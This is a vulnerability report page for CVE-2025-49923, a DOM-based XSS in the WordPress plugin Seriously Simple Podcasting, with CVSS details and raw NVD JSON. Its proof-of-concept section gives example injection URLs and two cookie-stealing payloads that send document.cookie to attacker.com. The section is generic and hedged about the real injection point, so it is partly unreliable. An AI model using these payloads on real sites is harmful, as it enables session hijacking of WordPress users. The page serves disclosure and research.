Security Vulnerability Report
中文
CVE-2025-49923 CVSS 5.9 MEDIUM

CVE-2025-49923

Published: 2025-10-22 15:15:38
Last Modified: 2026-04-27 20:16:18

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Craig Hewitt Seriously Simple Podcasting seriously-simple-podcasting allows DOM-Based XSS.This issue affects Seriously Simple Podcasting: from n/a through <= 3.11.1.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:castos:seriously_simple_podcasting:*:*:*:*:*:wordpress:*:* - VULNERABLE
Seriously Simple Podcasting <= 3.11.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-49923: DOM-Based XSS in Seriously Simple Podcasting Plugin --> <!-- This PoC demonstrates how an attacker with high privileges could exploit the vulnerability --> <!-- Step 1: Attacker (with at least subscriber/author role) crafts a malicious URL --> <!-- The malicious payload is injected into a DOM source (e.g., URL fragment or parameter) --> <!-- that the plugin's JavaScript reads without proper sanitization --> <!-- Example malicious URL structure: --> <!-- https://target-wordpress-site.com/podcast-page/?player_param=<img src=x onerror=alert(document.cookie)> --> <!-- OR using location.hash: --> <!-- https://target-wordpress-site.com/podcast-page/#<img src=x onerror=alert(document.cookie)> --> <!-- Step 2: The attacker sends this URL to the victim (e.g., admin or editor) --> <!-- via email, comment, or any social engineering method --> <!-- Step 3: When the victim (authenticated with WordPress) clicks the link, --> <!-- the plugin's vulnerable JavaScript reads the unsanitized input from the DOM --> <!-- and injects it into the page, executing the attacker's payload --> <!-- Step 4: The malicious script executes in the victim's browser context, --> <!-- potentially stealing cookies, session tokens, or performing actions as the victim --> <!-- Example payload variations: --> <!-- Cookie stealing: --> <!-- <script>document.location='https://attacker.com/steal?c='+document.cookie</script> --> <!-- Session hijacking: --> <!-- <img src=x onerror="fetch('https://attacker.com/log',{method:'POST',body:document.cookie})"> --> <!-- Note: The exact injection point depends on which DOM source the plugin uses. --> <!-- Common vulnerable patterns include location.search, location.hash, document.referrer, --> <!-- or window.name being passed to innerHTML/document.write without sanitization. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49923", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:38.193", "lastModified": "2026-04-27T20:16:17.617", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Craig Hewitt Seriously Simple Podcasting seriously-simple-podcasting allows DOM-Based XSS.This issue affects Seriously Simple Podcasting: from n/a through <= 3.11.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:castos:seriously_simple_podcasting:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "3.12.0", "matchCriteriaId": "37B46A10-A729-4DCA-845D-9D0460A9A1FA"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/seriously-simple-podcasting/vulnerability/wordpress-seriously-simple-podcasting-plugin-3-11-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}